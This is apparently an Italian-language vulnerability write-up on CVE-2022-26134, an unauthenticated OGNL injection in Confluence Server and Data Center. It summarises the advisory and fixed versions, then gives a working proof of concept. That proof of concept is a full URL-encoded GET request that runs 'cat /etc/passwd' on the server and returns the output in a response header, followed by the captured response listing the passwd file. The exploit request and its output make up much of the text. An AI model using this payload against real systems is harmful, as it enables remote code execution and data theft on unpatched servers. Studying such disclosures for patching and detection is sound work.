CVE-2022-26134

[CVE-2022-26134] Iniezione Object-Graph Navigation Language (OGNL) pre-autenticazione in Confluence

---

Confluence è un prodotto di collaborazione workspace basato sul web sviluppato da Atlassian. Può essere distribuito on-prem o come parte di Atlassian Cloud. È composto da 3 funzionalità chiave: pagina, spazio e albero delle pagine.

• Pagina: i tuoi contenuti vivono nelle pagine – documenti dinamici che crei sul tuo sito Confluence. Puoi creare pagine per quasi qualsiasi cosa, dai piani di progetto alle note delle riunioni, alle guide per la risoluzione dei problemi, alle policy e altro ancora.
• Spazio: le pagine sono archiviate negli spazi – workspace in cui puoi collaborare al lavoro e mantenere organizzati tutti i tuoi contenuti
• Albero delle pagine: organizza i contenuti dello spazio con un albero delle pagine gerarchico che rende la ricerca del lavoro rapida e semplice. Annida le pagine sotto spazi e pagine correlati per organizzare le pagine praticamente in qualsiasi modo.

Il 2022-06-02 alle 20:00 UTC Atlassian ha rilasciato un Security Advisory relativo a una vulnerabilità di esecuzione remota di codice (RCE) che interessa i prodotti Confluence Server e Confluence Data Center. Puoi trovare informazioni dettagliate sulla vulnerabilità CVE-2022-26134 qui di seguito.

Sommario: CVE-2022-26134 - vulnerabilità di esecuzione remota di codice non autenticata con gravità critica in Confluence Server e Data Center
Data di rilascio dell'advisory: 02 giu 2022
Prodotti interessati: Confluence Server e Confluence Data Center
Versioni interessate: Tutte le versioni supportate di Confluence Server e Data Center sono interessate. Le versioni di Confluence Server e Data Center successive alla 1.3.0 sono interessate.
Versioni corrette: 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 e 7.18.1
ID CVE: CVE-2022-26134 Iniezione Object-Graph Navigation Language (OGNL) pre-autenticazione in Confluence

Prova di concetto: Richiesta di esempio 1

GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20/etc/passwd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

Risposta 1

HTTP/1.1 302 
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654688652451
Set-Cookie: JSESSIONID=47E8CE261CF7355A5625FEF65B4BD7DC; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin confluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash 
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat+%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:44:12 GMT
Connection: close